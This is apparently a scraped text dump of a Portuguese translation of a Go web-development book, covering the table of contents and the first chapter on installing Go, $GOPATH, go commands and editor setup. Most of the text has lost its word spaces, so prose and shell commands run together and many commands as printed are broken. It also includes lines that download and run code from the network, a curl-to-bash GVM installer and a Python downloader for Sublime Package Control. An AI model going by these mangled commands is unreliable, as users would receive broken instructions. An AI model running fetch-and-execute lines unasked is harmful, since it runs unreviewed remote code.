490
1.1 Configuração do ambiente de desenvolvimento 1.1. Instalação 1.2. $GOPATH e Workspace 1.3. Comandos em Go 1.4. Ferramentas de desenvolvimento 1.5. Sumário 2.Go, conhecimento básico 2.1. "Olá, Go" 2.2. Fundamentos em Go 2.3. Control statements and functions 2.4. struct 2.5. Orientação a Objetos 2.6. interface 2.7. Concurrency 2.8. Sumário 3.Web foundation 3.1. Web working principles 3.2. Build a simple web server 3.3. How Go works with web 3.4. Get into http package 3.5. Summary 4.User form 4.1. Process form inputs 4.2. Verification of inputs 4.3. Cross site scripting 4.4. Duplicate submissions 4.5. File upload 4.6. Summary 5.Database 5.1. database/sql interface 5.2. MySQL 5.3. SQLite

1.1 Configuração do ambiente de desenvolvimento 1.2 ... · PostgreSQL 5.5. Develop ORM based on beedb 5.6. NoSQL database 5.7. Summary 6.Data storage and session ... Logs and configurations

  • Upload
    lamdieu

  • View
    216

  • Download
    0

Embed Size (px)

Citation preview

1.1Configuraçãodoambientededesenvolvimento1.1.Instalação1.2.$GOPATHeWorkspace1.3.ComandosemGo1.4.Ferramentasdedesenvolvimento1.5.Sumário

2.Go,conhecimentobásico2.1."Olá,Go"2.2.FundamentosemGo2.3.Controlstatementsandfunctions2.4.struct2.5.OrientaçãoaObjetos2.6.interface2.7.Concurrency2.8.Sumário

3.Webfoundation3.1.Webworkingprinciples3.2.Buildasimplewebserver3.3.HowGoworkswithweb3.4.Getintohttppackage3.5.Summary

4.Userform4.1.Processforminputs4.2.Verificationofinputs4.3.Crosssitescripting4.4.Duplicatesubmissions4.5.Fileupload4.6.Summary

5.Database5.1.database/sqlinterface5.2.MySQL5.3.SQLite

5.4.PostgreSQL5.5.DevelopORMbasedonbeedb5.6.NoSQLdatabase5.7.Summary

6.Datastorageandsession6.1.Sessionandcookies6.2.HowtousesessioninGo6.3.Sessionstorage6.4.Preventhijackofsession6.5.Summary

7.Textfiles7.1.XML7.2.JSON7.3.Regexp7.4.Templates7.5.Files7.6.Strings7.7.Summary

8.Webservices8.1.Sockets8.2.WebSocket8.3.REST8.4.RPC8.5.Summary

9.Securityandencryption9.1.CSRFattacks9.2.Filterinputs9.3.XSSattacks9.4.SQLinjection9.5.Passwordstorage9.6.Encryptanddecryptdata9.7.Summary

10.Internationalizationandlocalization10.1Timezone10.2Localizedresources10.3Internationalsites10.4Summary

11.Errorhandling,debuggingandtesting11.1.Errorhandling11.2.DebuggingbyusingGDB11.3.Writetestcases11.4.Summary

12.Deploymentandmaintenance12.1.Logs12.2.Errorsandcrashes12.3.Deployment12.4.Backupandrecovery12.5.Summary

13.Buildawebframework13.1.Projectprogram13.2.Customizedrouters13.3.Designcontrollers13.4.Logsandconfigurations13.5.Add,deleteandupdateblogs13.6.Summary

14.Developwebframework14.1.Staticfiles14.2.Session14.3.Form14.4.Uservalidation14.5.Multi-languagesupport14.6.pprof14.7.Summary

AppendixAReferences

1ConfiguraçãodoambientededesenvolvimentoSejabemvindoaomundoGo,vamoscomeçaraexplorá-lo!

Goéumalinguagemcompiladarápidaqueincluícoletordelixoeémultiplataforma.Vejaabaixoalgumasvantagensdeutilizá-la:

Compilaçãorápidaemprojetosdetodososportes.Mantémummodelopadrãonodesenvolvimentodesoftware,evitandofuturosproblemasassociadosaoestiloCdedesenvolvimento.Éestática,nãotemníveisnoseusistemadetipo,entãonãoprecisaremosgastartempotrabalhandocomarelaçãodetiposdevariáveis.Ébemleveeorientadaaobjetos.Realizaacoletadelixo.Issomelhoraodesempenhoeacomunicaçãocomdiversossistemasoperacionais;Foidesenvolvidaparatodasasplataformas.

Goéumalinguagemcompilada.Combinaaeficiênciadedesenvolvimentodaslinguagensinterpretadasedinâmicasporsuasegurançaemtiposestáticos.Éumaótimaescolhaporsermulti-plataformaemoderna.Porumtemponãohaviampacoteseferramentasdeterceirospararesolverproblemascomunsetudotinhaqueserfeitoerefeito,comoreconstruiraroda,porissonasceuointeressenalinguagem.

Nessecapitulo,vamosaprenderainstalareconfigurarnossopróprioambientededesenvolvimento.

Links

SumárioPróximaseção:Instalação

1.1Instalação

Os3modosdeinstalarGo

Existemmuitasmaneirasdeconfiguraroambientededesenvolvimentoemseucomputador,vocêpodeescolheromodoquepreferir.SeguemabaixoostrêsmodosmaiscomunsparaconfigurarseuambienteparautilizaralinguagemGo:

Pacotesdeinstalaçãooficiais.

OtimeportrásdoGo,proporcionaummodomuitoconvenientedeinstalaçãoparaWindows,Linux,Maceoutrossistemasoperacionais.Esseéométodomaissimplesparainiciar.

Instalaçãoatravésdocódigofonte.

BempopularentredesenvolvedoresfamiliarescomsistemasUNIX-like.

Porterceiros(Pacotesnãooficiais).

Existemmuitospacotesdeterceiros,costumamviremgerenciadoresdepacotescomoapt-getnoUbuntuouhomebrewnoMac.

CasovocêqueiratermaisdeumaversãodeGonoseucomputador,existeaopçãodeinstalaratravésdoGoVersionManager(GVM).Éamelhorferramentaquetenhovistoporcumprirbemessatarefa,entretantovocêdeveráescolheromodoqueirásermelhorparavocê.GVM

InstalandopeloCódigoFonte

AlgumaspartesdeGoforamescritasemPlan9CeAT&TassemblerevocêprecisaráinstalarumcompiladordeCantesderealizarospassosaseguir.

NoMAC,vocêprecisarádoXcode,quejávemcomocompiladorincluso.

EmsistemasUNIX-Linux,vocêdeveráinstalaroGCCoualgumcompiladorsemelhante.Porexemplo:viaapt-get(Ubuntu/Debian)podemosinstalarcomaseguintelinhanoterminal:

sudoapt-getinstallgcclibc6-dev

ParaFedora,OpenSuseeoutrasdistribuições,consulteadocumentaçãooficial.

ParaoWindows,seránecessárioteroMinGW(ConsulteaarquiteturadoseuWindowsantesdeinstalar)parainstalaroGCC.Nãoseesqueçadeconfigurarasvariaveisdosistemasapósainstalaçãoserconcluída.

Parafinalmenterealizarainstalaçãoatravésdocódigofonte,necessitamosrealizaroDownloadeconfiguraçãodoGit,copiarorepositórioeinstalar.

gitclonehttps://go.googlesource.com/gocdgo/src./all.bash

Umainstalaçãodesucessoretornaráamensagem:"ALLTESTSPASSED."(Todosostestespassaram)

NoWindowsvocêpodeexecutaroarquivoall.bat.

CasoestejautilizandoWindows,ainstalaçãodopacoteiraconfigurarautomaticamentetodasasvariaveisdosistema.EmsistemaUNIX-Linux,vocêprecisaconfigurá-lasmanualmentenofinaldoarquivo.bash_profileconformeabaixo:

exportGOROOT=$HOME/goexportGOBIN=$GOROOT/binexportPATH=$PATH:$GOROOT/bin

Sevocêveramensagemaseguir,querdizerqueestátudopronto!

Figura1.1Informaçãoapósinstalaçãoviacódigofonte

Casoainstalaçãotenhasidorealizadacomsucessoeamensagem"nosuchcommand"(Comandoinexistente)permaneça.Verifiqueseasvariaveisdosistemaforamconfiguradascorretamente.

Pacotesdeinstalaçãopadrão

Gotemumainstalaçãosimplesparatodosossistemasoperacionais.Esses

pacotessãoinstaladosem:/usr/local/go(UNIX-like)ec:\Go(Windows)porpadrão.Claroquepodemsermodificados,mascasoainstalaçãosejaemoutrolocalteremosquereconfigurarasvariaveisdosistema,comocitadoacima.

Comochecarsemeusistemaoperacionalé32-bitou64-bit?

Opróximapassodependedotipodesistemaoperacionalquevocêestáutilizando.Entãotemosquechecarantesderealizarainstalaçãodospacotes.

SeestiverutilizandoWindows,pressioneWin+Redigite:cmdparaabriropromptdecomando.Executeocomandosysteminfoeprocurealinhareferentea"systemtype"-sevocêver"x64-basedPC",querdizerqueseusistemaé64-bit.Casoseja"x32-basedPC"é32-bit".

Érecomendavelutilizarversões64-bit.SeestivernoMAC,Gonãosuportamaisversão32-bitdoOSX.

NoLinuxabraumterminaledigite:uname-aUmsistema64-bitexibiráamensagemaseguir:

<algumadescrição>x86_64x86_64x86_64GNU/Linux//Algumasdistribuiçõesexibirãoamensagemaseguirx86_64GNU/Linux

Sistemas32-bitirãomostrar:

<algumadescrição>i686i686i386GNU/Linux

Mac

Váparaapáginadedownload,escolhago1.4.2.darwin-386.pkgpara

sistemas32-bitougo1.4.2.darwin-amd64.pkgparasistemas64-bit.Executeoinstalador,eoprópriosistemaseencarregarádecriarasvariaveisdosistema.Digitegonoterminaleasaidaseráamesmadafigura1.1.

Linux

Váparaapáginadedownload,escolhago1.4.2.linux-386.tar.gzparasistemas32-bitougo1.4.2.linux-amd64.tar.gzparasistemas64-bit.Casoainstalaçãosejapadrão,descompacteoarquivo.tar.gzem"/usr/local",configureoarquivo.bash_profilecomoapresentadoanteriormente,abraumterminaldigitegonoterminaleasaidaseráamesmadafigura1.1.

Windows

Váparaapáginadedownload,escolhago1.4.2.windows-386.msiparasistemas32-bitougo1.4.2.windows-amd64.msiparasistemas64-bit.Executeoinstalador,eleiráinstalarnamastac:\go,asvariaveisdosistemaserãoconfiguradasautomaticamente.Abraumpromptdecomandoedigite:go,asaidaseráamesmadafigura1.1.

Pacotesdeterceiros

GVM(GoVersionManager)

GVMéumgerenciadordeversõesparaGo,assimcomooRVMparaRuby.Émuitosimplesutilizaressemétodo.ParainstalaroGVMexecuteocomandoabaixonoterminal:

bash<<(curl-s-S-Lhttps://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer)

QuandooGVMestiverinstalado,instaleaversãodoGodesejadaeconfigure-aparasetornarapadrão.OGVMseencarregaautomaticamentedeescolheramelhorarquiteturadosistemaoperacionalparavocê.

gvminstallgo1.4.2gvmusego1.4.2

Apósfinalizarosprocessos,vocêjápoderáutilizaroGo.

apt-get

UbuntuéadistribuiçãoLinuxmaispopularparaDesktopdoméstico.Eleusaoapt-getcomogerenciadordepacotes.Podemosinstalarutilizandoosseguintescomandoabaixonoterminal:

sudoadd-apt-repositoryppa:gophers/gosudoapt-getupdatesudoapt-getinstallgolang-stable

Homebrew

HomebrewéogerenciadordepacotesparaMAC,parainstalaroGorodeocomandoabaixonoterminal:

brewinstallgo

Links

SumárioSeçãoanterior:ConfiguraçãodoambientededesenvolvimentoPróximaseção:$GOPATHeWorkspace

#1.2$GOPATHeWorkspace

$GOPATH

OscomandosemGodependemdeumavariáveldosistemachama$GOPATH.Notequenãoéavariável$GOROOT,responsávelpelolocalaondealinguagemestáinstalada.Essavariável($GOPATH),marcaalocalizaçãodoambientedetrabalhoGo.

EmsistemaUNIX-Linux,avariáveldosistemadeveráserconfiguradadaseguinteformanoarquivo.bash_profile

exportGOPATH=/home/apple/mygo

NoWindowsvocêprecisacriarumanovavariáveldeambientechamadaGOPATH,econfigura-laparaodiretóriodetrabalho,porexemplo:c:\mygo

ÉcomumtermaisdeumWorkspacenoseu$GOPATH,maslembre-sedeusar:(;noWindows)paradelimitarosdiretórios.Como$GOPATHconfiguradovocêjápoderárealizarodownloaddepacotesexternosutilizandoogoget.

Dentrodoseu$GOPATH,deveráterosseguintesdiretórios:

srcParaarquivosdecódigofonte.go,.c,.g,.s.pkgParabibliotecascompiladas.a.binParaexecutáveis

Nesselivro,vamosutilizarapasta:mygocomoúnicoambienteno$GOPATH.

Diretóriosdepacotes

Crieumnovoarquivochamadosqrt.godentrodapasta$GOPATH/src/mymath/sqrt.go(Notequetambémfoicriadoumdiretóriochamado'mymath',oqualseráonomedonossopacote)

Todasasvezesqueumnovopacoteforcriado,vocêdeverácriarumapastacomseunomedentrodesrc.Onomedaspastascostumamteromesmonomedopacotequeseráutilizado.Vocêpodeterquantassub-pastasquiser,

porexemplo:Sevocêcriarumapasta$GOPATH/src/github.com/astaxie/beedb,entãoseupacoteserágithub.com/astaxie/beedb.Onomedopacotesempreseráoúltimo,nocasodoexemplocitado:beedb

Seguindoasinstruçõesacima.Executeoscomandosabaixo:cd$GOPATH/srcmkdirmymath

Crieumnovoarquivochamadosqrt.goeponhaoseguinteconteúdo:

//Códigofontede$GOPATH/src/mymath/sqrt.gopackagemymath

funcSqrt(xfloat64)float64{z:=0.0fori:=0;i<1000;i++{z-=(z*z-x)/(2*x)}returnz}

Agoraodiretórioecódigofontedomeupacotefoicriado.Conformeexplicado,recomendoqueutilizeonomedopacotecorrespondendoaodiretório.

Compilandopacotes

Agoraquenóscriamosnossopacote,comovamosutilizá-lodemodoprático?Existemduasmaneirasdefazerisso.

1. Mudeparaodiretóriodoseupacoteeexecuteocomandogoinstall.2. Executeocomandoacima,utilizandoonomedoarquivosemextenção,exemplo:goinstallmymath.

Apóscompilado,podemosveroarquivoexecutáveldopacotenaseguintepasta:cd$GOPATH/pkg/${GOOS}_${GOARCH}//Oarquivodopacotegeradocomaextenção.amymath.a

Nossoarquivofoigeradocomaextenção.aqueéumarquivobinário,comovamosutilizá-lo?

Obviamenteteremosquecriarumanovaaplicaçãoparautilizar.

Crieumanovaaplicaçãochamadamathapp

cd$GOPATH/srcmkdirmathappcdmathappvimmain.go

Códigofonte:

//$GOPATH/src/mathapp/main.gocódigofonte.packagemain

import("mymath""fmt")

funcmain(){fmt.Printf("Olá,mundo.Sqrt(2)=%v\n",mymath.Sqrt(2))}

Paracompilarnossaaplicação,deveremosalterarocódigofontedediretório,nessecasopara$GOPATH/src/mathappeexecutarocomandogoinstall.Agorateremosumarquivoexecutáveldentrodapasta$GOPATH/bin/.Paraexecutarmosbasta:./mathappnoterminal,evocêdeveráveroseguinteretorno:

Olá,mundo.Sqrt(2)=1.414213562373095

Instalandopacotesremotamente

Gopossuiumaferramentaparautilizarpacotesremotos,chamadagoget.Elaésuportadaporgrandescomunidadesdecódigoaberto,incluindo:Github,GoogleCode,BitbucketeLaunchpad.

gogetgithub.com/astaxie/beedb

Vocêpodeutilizaroparâmetro-uparaaatualizarospacotesjáexistentes,porexemplo:goget-u….

OgogetutilizaasferramentasdeversionamentodecódigoabertomaisutilizadasdomercadocomogitparaoGitHubeohgparaoGoogleCode.Antesdeutilizarogogetcertifique-sedeterinstaladoaomenosumadelas.(Notadotradutor:RecomendoutilizarGit)

Apósaexecuçãodocomandoacima,vocêdeveráteraseguinteestruturadediretórios:$GOPATHsrc|-github.com|-astaxie|-beedbpkg|--${GOOS}_${GOARCH}|-github.com|-astaxie|-beedb.a

Ocomandogogetclonaocódigofonteedependenciasparaoseu$GOPATH/srceinstalaospacotecomgoinstall

Vocêtambémpodeutilizarpacotesdeterceirosatravésdeimportsnocódigofontedaaplicação,utilizandoasintaxeabaixo:

import"github.com/astaxie/beedb"

Estruturadediretórioscompleta

Sevocêseguiutodosospassosanteriorescorretamente,suaestrururadediretóriosdeveráseralgosemelhandoaisso:

bin/mathapppkg/

${GOOS}_${GOARCH},Aarquiteturadoseusistema:darwin_amd64,linux_amd64mymath.agithub.com/astaxie/beedb.asrc/mathappmain.gomymath/sqrt.gogithub.com/astaxie/beedb/beedb.goutil.go

Agoravocêécapazdeverclaramentequeaestruturadodiretóriobincontémarquivosexecutáveis,pkgcontémarquivoscompiladosesrccontémarquivosdeorigemdopacote.AgoraqueesclarecemoscomoGogerenciadependenciasecódigofonte,vamosrecaptulardeformarápidaaestrutura;bincontémosexecutaveis,pkgbibliotecasoupacotescompilados,srccódigofontedasuaaplicaçãoepacotes.

(OGOPATHnoWindowséexibidocomo:%GOPATH%,comoesselivrotemumfocomaioremsistemasUNIX-Like,usuáriosWindowsdeverãorealizarfuturosajustesparaquetudoocorracomoesperado)

Links

SumárioSeçãoanterior:InstalaçãoPróximaseção:ComandosemGo

#1.3ComandosGO

ComandosGO

AliguagemGopossuinativamenteumasériedecomandosoperacionais.Vocêpodeexecutarocomandogonasualinhadecomandoparaveralistacompleta:

Figura1.3OcomandoGomostraainformaçãodetalhadadasopções

Todossãobastanteúteisparanós.Vamosvercomoalgunsdelesfuncionam.

gobuild

Esteéocomandoparatestesdecompilação.Eleirácompilarasdependências,sefornecessário.

Seopacotenãoforopacotemain,comooexemplomymathnaseção1.2,nadaserágeradoapósaexecuçãodomomandogobuild.Sevocêprecisadoarquivo.anodiretório$GOPATH/pkg,ocomandoaserutilizadoéogoinstall.Seopacoteforopacotemain,comooexemplomathappnaseção1.2,entãoserágeradoumarquivoexecutávelnamesmapastadoarquivo.go.Sevocêprecisadoarquivoexecutávelnodiretório$GOPATH/bindeveráutilizarocomandogoinstallougobuild-o{CAMINHO_DIRETORIO}/{FILE_NAME}.exe(N.doT.:Podetambémserutilizadoparadirecionaroexecutávelparaoutrosdiretórioseofinal.exenãoéobrigatórioemsistemasUNIX-Linux).Sehouveremmuitosarquivosnamesmapastaevocêquisercompilarapenasumdeles,entãovocêdeveinserironomedoarquivonofinaldocomandogobuild.Porexemplo,gobuilda.go.Usarapenasgobuildirácompilartodososarquivosdapasta.Vocêtambémpodedeterminaronomedoarquivoqueserágeradopelocomandogobuild.Porexemplo,noprojetomathapp(daseção1.2),usandogobuild-oastaxie.exeirágeraroarquivoastaxie.exeaoinvésdemathapp.exe.Onomepadrãoéonomedapasta,parapacotesquenãosejammain,ouonomedoprimeiroarquivodecódigofonte,paraopacotemain.

(Deacordocomo"TheGoProgrammingLanguageSpecification",onomedopacoteédefinidopelapalavraqueaparecenafrentedapalavrachavepackagenaprimeiralinhadosarquivosdecódigofonte.Essapalavranãoprecisanecessariamenteteromesmonomedapastaondeoarquivoestásalvo,porémoarquivoexecutávelteráonomedapastaporpadrão.)

Ocomandogobuildignoraarquivoscujoosnomescomecempor_ou..

Sevocêdesejarcriardiferentesarquivosdecódigofonteparacadasistemaoperacional,vocêpodenomearosarquivoscomonomedosistemanofinal.Suponhaquetemosalgunscódigosparacarregamentodearrays,elespodemsernomeadosconformesegueabaixo:

array_linux.go|array_darwin.go|array_windows.go|array_freebsd.go

Ocomandogobuildiráescolheroarquivorespectivoaoseusistemaoperacional.Porexemplo,eleirácompilaroarray_linux.goemsistemaLinuxeignorarosdemais.

goclean

Estecomandoserveparaumalimpezadosarquivosgeradospeloscompiladores,incluindoosarquivosabaixo:

_obj///antigodiretóriodeobjetos,deixadopelosMakefiles_test///antigodiretóriodetestes,deixadopelosMakefiles_testmain.go//antigoarquivodogotest,deixadopelosMakefilestest.out//antigoarquivodeteste,deixadopelosMakefiles

build.out//antigoarquivodeteste,deixadopelosMakefiles

*.[568ao]//arquivosdeobjetos,deixadopelosMakefiles

DIR(.exe)//geradopelogobuildDIR.test(.exe)//geradopelogotest-cMAINFILE(.exe)//geradopelogobuildMAINFILE.go

Normalmente,usa-seessecomandoparaumalimpezadosarquivosantesdefazerouploaddoprojetoparaorepositório(GitHub,porexemplo).Elessãoúteisparatesteslocais,masinúteisparaoversionamento.

gofmtegofmt

AspessoasacostumadasatrabalharcomC/C++estãosemprediscutindosobrequalomelhorestilodecódigo:estilo-K&Rouestilo-ANSI?AotrabalharcomGo,sóexisteumestilodecódigo.Porexemplo,chavesesquerdassódevemserinseridasnofinaldalinhaenãopodemestarsozinhosemuma

linha,casocontráriovocêreceberáumerrodecompilação!Felizmente,vocênãoprecisaselembrardessaregras.Ocomandogofmtfazessetrabalhopravocê,bastaexecutarocomandogofmt<NomeDoArquivo.go>noterminal.AsIDEsmodernasusualmentejárealizamessecomandodemodoautomático,masaescolhadeIDEéoassuntodapróximaseção.

gofmtéapenasumapelido(alias)queirádefatorodarocomando'gofmt-l-w'nospacotesnomeadospeloscaminhosdeimportação.

Normalmente,usamosocomandogofmt-waoinvésdesimplesmentegofmt.Adiferençaéqueoúltimonãoiráreescreverosarquivosdecódigofonteformatandoocódigo.gofmt-wsrcformataoprojetointeiro.

goget

Essecomandoserveparaobtençãodepacotesremotamente.Atéomomento,ocomandosuportaBitBucket,Github,GoogleCodeeLaunchpad.Defato,duascoisasocorremquandoessecomandoéexecutado.Primeiramenteéfeitoodownloaddocódigofonteeentãoéexecutadoocomandogoinstall.Antesdeutilizaressecomando,tenhacertezadepossuirinstaladosasseguintesferramentas.

BitBucket(MercurialGit)Github(git)GoogleCode(Git,Mercurial,Subversion)Launchpad(Bazaar)

Paraocorretofuncionamento,alémdeinstalarasferramentasacima,nãoseesqueçadeconfigurarcorretamentesuavariável$PATH.Apropósito,essecomandotambémsuportanomesdedomínioscustomizados.Usegohelpremoteparamaisdetalhes.

goinstall

Essecomandocompilatodosospacotesegeraosarquivosexecutáveismovendo-ospara$GOPATH/pkgou$GOPATH/bin.

gotest

Essecomandocarregatodososarquivosquetenhamonomeseguindoopadrão*_test.goegeraosarquivosdetestes,imprimindoinformaçõesconformeoexemploabaixo.

okarchive/tar0.011sFAILarchive/zip0.022sokcompress/gzip0.033s...

Eletestatodososarquivosporpadrão.Useocomandogohelptestflagparamaisdetalheseinformações.

godoc

MuitosafirmamnãosernecessáriaautilizaçãodebibliotecasexternasparadocumentaçãodosprogramasGo,umavezqueGojápossuiumapoderosaferramentaparadocumentaçãonativamente(dequalquermaneira,vejaabibliotecacriadapormim,aCHM(N.doT.:Linkdoautororiginal)).

Sendoassim,comodevemosbuscaressadocumentaçãoparacadaumdospacotes?Sevocêquisermaisinformaçõesparaumpacotenativo(builtin),vocêpodeusarocomandogodocbuiltin.Deformasemelhante,vocêpodeusargodocnet/httpparaencontraradocumentaçãodopacotehttp,porexemplo.Eainda,sequisermaisdetalhesdeumafunçãoespecífica,vocêpodeusargodocfmtPrintfegodoc-srcfmtPrintfparaverocódigofontedafunção.

Finalmente,vocêpodeaindaexecutarocomandogodoc-http=:8080e,emseguida,abrir127.0.0.1:8080noseunavegador.Vocêteráumacópialocal

degolang.org.Elevaimostrarnãosóospacotespadrões,mastambémaquelesencontradosem$GOPATH/pkg.EsserecursoéótimoparapessoasquesofremdealgumbloqueiocomoaqueledoGreatFirewallofChina,porexemplo.

Outroscomandos

Gopossuiaindamuitosoutroscomandosalémdoscitadosaqui.Seguemalgunsexemplos.

gofix//atualizaocódigodeumaversãoantigaanteriorago1paraumanovaversãodepoisdego1goversion//exibeinformaçõessobresuaversãodeGogoenv//exibeasvariáveisdeambienterelacionadosaGogolist//listatodosospacotesinstaladosgorun//compilaosarquivostemporárioseexecutaaaplicação

Mesmosobreoscomandosexplicadosatéaqui,existemváriosoutrosdetalhesquenãoforamdiscutidos.Vocêsemprepodeusargohelp<command>paradetalheseinformaçõescompletas.

Links

SumárioSeçãoanterior:$GOPATHeWorkspacePróximaseção:FerramentasdedesenvolvimentoGo

FerramentasparadesenvolvimentoGoNestaseção,vamosmostraralgunsIDEs(IntegratedDevelopmentEnvironmentouAmbientedeDesenvolvimentoIntegrado)quepodemajudar

vocêaserumprogramadorGomaiseficiente,comrecursoscomoauto-completeinteligenteeauto-formatação.Todaselassãocompatíveiscomtodosossitemasoperacionais(cross-platform),entãoospassosdescritosabaixodevemsersemelhantesindependentementedosistemaqueestejautilizando.

LiteIDE

LiteIDEéumIDEleveedecódigoabertoparadesenvolvimentoexclusivodeprojetosGo.Foidesenvolvidoporvisualfc.

Figure1.4PainelprincipaldoLiteIDE

RecursosdoLiteIDE.

Cross-platformWindowsLinuxMacOS

Cross-compileGerencimanetodemúltiplosambientesdecompilaçãoSuporteacompilaçãocruzada(cross-compilation)dalinguagemGo

GerenciamentodoprojetoVisãodadocumentaçãobaseadanavariável$GOPATHSistemadecompilaçãobaseadonavariável$GOPATHIndícedadocumentaçãodaAPIbaseadoonaveriável$GOPATH(N.doT.:Necessitadeadaptaçõesparaoportuguês)

EditordecódigofonteGoAlinhamentoeidentaçãodecódigoSuportetotalaogocodeVisualizaçãodadocumentaçãoGoedaAPIVisualizaçãodeexpressõesdecódigousandoF1Movimentaçãoentreasfunções(Functiondeclarationjump)usandoF2

SuporteaoGdb(debug)Auto-formataçãocomgofmt

OutrosMulti-linguagemSistemadepluginsTemasparaoeditordetextosSuporteasintaxebaseadonoKateAuto-completeinteligentebaseadonotextocompletoAtalhoscustomizadosSuporteaMarkdown

PreviewemtemporealCSScustomizadoExportaçãoparaPDFeHTML

ConversãoparaPDFeHTML

InstalaçãodoLiteIDE

InstaleoLiteIDE

PáginadeDownload

CódigoFonte

VocêprecisainstalarGoprimeiro(conformeaseção1.1),depoisfaçaodownloaddaversãodoLiteIDEmaisapropriadaparaoseusistema.Apenasdescompacteeusediretamente.

Instaleogocode

Vocêprecisainstalarogocodeparapoderusaroauto-completeinteligente.

goget-ugithub.com/nsf/gocode

Ambientedecompilação

TroqueaconfiguraçãonoLiteIDEparaconfigurá-locorretamenteparaoseusistemaoperacional.Porexemplo,noWindowseusandoaversão64-bitdalinguagemGo,vocêdeveescolherwin64comoambientedeconfiguraçãonabarradeferramentas.Escolhaopinion,encontreLiteEnvenalistaesquerda,abrooarquivowin64.env.Eledeveserparecidocomomodeloaseguir.

GOROOT=c:\goGOBIN=GOARCH=amd64GOOS=windowsCGO_ENABLED=1

PATH=%GOBIN%;%GOROOT%\bin;%PATH%

SubstituaGOROOT=c:\goparaocaminhodeinstalaçãoconfiguradoanteriormente,salveoarquivo.Paratersuportecompletoaocgonowindowns,vocêprecisarterinstaladooMinGW64edeveadicionarc:\MinGW64\binaasuavariáveldeambiente.

NoLinux,usandoumaversão64-bitdalinguagemGo,vocêdeveescolherlinux64comoconfiguraçãodeambientenabarradeferramentas.Emseguida,escolhaopinion,encontreLiteEnvnomenuaesquerdaeabraoarquivolinux64.env.Edite-oconformesegue.

GOROOT=$HOME/goGOBIN=GOARCH=amd64GOOS=linuxCGO_ENABLED=1

PATH=$GOBIN:$GOROOT/bin:$PATH

SubstituaGOROOT=$HOME/goparaocaminhodasuainstalação,salveoarquivo.

$GOPATH

$GOPATHéocaminhododiretórioquecontémseusprojetosGo.Abraalinhadecomando(ouapenasuseCtrl+`noLiteIDE)eentãodigitegohelpgopathparamaioresdetalhes.Ébastantefácilvisualizarealteraravariável$GOPATHnoLiteIDE.UseomenuView-SetupGOPATHparavisualizarealteraressesvalores.

SublimeText

Nesseponto,iremosintroduziroSublimeText(ouapenasSublime)+GoSublime+gocode+MarGo.Vamoslá.

Auto-completeinteligente

Figura1.5Auto-completeinteligentenoSublime

Formataçãoautomática

GerenciamentodeProjetos

Figura1.6GerenciamentodeProjetosnoSublime

Destaquedesintaxe(Syntaxhighlight)

Aversãotrialégratuitaparasempresemnenhumalimitaçãonasfunções.Vocêserálembradoemalgumasocasiõescomumpromptsolicitandoacompradalicença,masvocêpodeignorá-lo,seassimquiser.Claro,sevocêconsiderarqueoeditormelhorasuaprodutividadeevocêgostarrealmentedoproduto,considereadquirirumalicençaeajudaramanterodesenvolvimentodomesmo!

Primeiro,façaodownloaddaversãoapropriadadoSublimeparaoseusistemaoperacional.

1. PressioneCtrl+`,abraalinhadecomandoeinseraoseguintescomandos:

importurllib2,os;pf='PackageControl.sublime-package';ipp=s

ublime.installed_packages_path();os.makedirs(ipp)ifnotos.path.exists(ipp)elseNone;urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace('','%20')).read());print'PleaserestartSublimeTexttofinishinstallation'

ReinicieoSublimeTextparafinalizarainstalação.Aoreabri-lo,vocêdeveráencontrarumaopçãoPackageControlnomenu"Preferences".

Figura1.7SublimePackageControl

2. ParainstalaroGoSublime,SidebarEnhancementseGoBuild,pressioneCtrl+Shift+pparaabriroPackageControleentãodigitepcip(umatalhopara"PackageControl:InstallPackage").

Figure1.8InstalandopacotesnoSublime

Busquepor"GoSublime",pressioneOKparainstalaropacoteerepitaomesmoprocedimentoparainstalarospacotesSidebarEnhancementseGoBuild.Maisumavez,reinicieoeditorparacompletarainstalação.

3. Paraverificarseainstalaçãofoibemsucedida,abraoarquivomain.gonoSublimeevejaseeleestádestacandoasintaxecorretamente.Digiteimporteconfiraseapareceumpromptcomsugestõesdeauto-complete.Incluaimport"fmt"eemseguidainsirafmt.emqualquerlugardepoisdadeclaraçãodeimportparaverificarseafunçãodeauto-completeinteligenteestácorretamenteativada.

Sefuncionarcorretamente,estátudopronto.

Senãofuncionar,verifiqueseu$PATHnovamente.Abraumterminaledigitegocode.Semesmoistonãofuncionar,possivelmenteseu$PATHnãoestácorretamenteconfigurado.

Vim

Viméumpopulareditordetextosparaprogramadoresqueevoluideseupredecessormaissimples,chamadoVi.Elepossuifunçõesparaauto-completeinteligente,compilaçãoetambémfunçõesparaiterarsobreoserros.

Figure1.8Auto-completeinteligenteparaGonoVim

1. Primeiramente,copieasconfiguraçõespadrãoparaoseudiretóriodeconfiguraçãodoVim

cp-r$GOROOT/misc/vim/*~/.vim/

2. Ativeodestaquedesintaxe(syntaxhighlighting)

filetypepluginindentonsyntaxon

3. Instaleogocode

goget-ugithub.com/nsf/gocode

Ogocodeseráinstaladoem$GOBINporpadrão

4. Configureogocodedigitandooscomandosabaixo

~cd$GOPATH/src/github.com/nsf/gocode/vim~./update.bash~gocodesetpropose-builtinstruepropose-builtinstrue~gocodesetlib-path"/home/border/gocode/pkg/linux_amd64"lib-path"/home/border/gocode/pkg/linux_amd64"~gocodesetpropose-builtinstruelib-path"/home/border/gocode/pkg/linux_amd64"

Explicaçõessobreaconfiguraçãodogocode:

propose-builtins:determinasedeveounãoligaroauto-completeinteligente;falseporpadrão.lib-path:Porpadrão,ogocodeapenasbuscaporpacotesem$GOPATH/pkg/$GOOS_$GOARCHe$GOROOT/pkg/$GOOS_$GOARCH.Estaconfiguraçãoéusadaparaadicionarnovosdiretórioscomofonte.

5. Parabéns!Tentedigitar:emain.gonomododecomandosdoVimparaexperimentaromundodeGo!

Emacs

Emacs(tambémconhecidacomoArmadeDeus)nãoéapenasumeditor,mastambémumpoderosoIDE.

Figure1.10PainelprincipaldoEmacsparaeditorGo

1. Primeiramente,copieasconfiguraçõespadrãoparaoseudiretóriodeconfiguraçãodaEmacs

cp$GOROOT/misc/emacs/*~/.emacs.d/

2. Instaleogocode

goget-ugithub.com/nsf/gocode

Ogocodeseráinstaladoem$GOBINporpadrão

3. Configureogocodedigitandooscomandosabaixo

~cd$GOPATH/src/github.com/nsf/gocode/vim~./update.bash~gocodesetpropose-builtinstrue

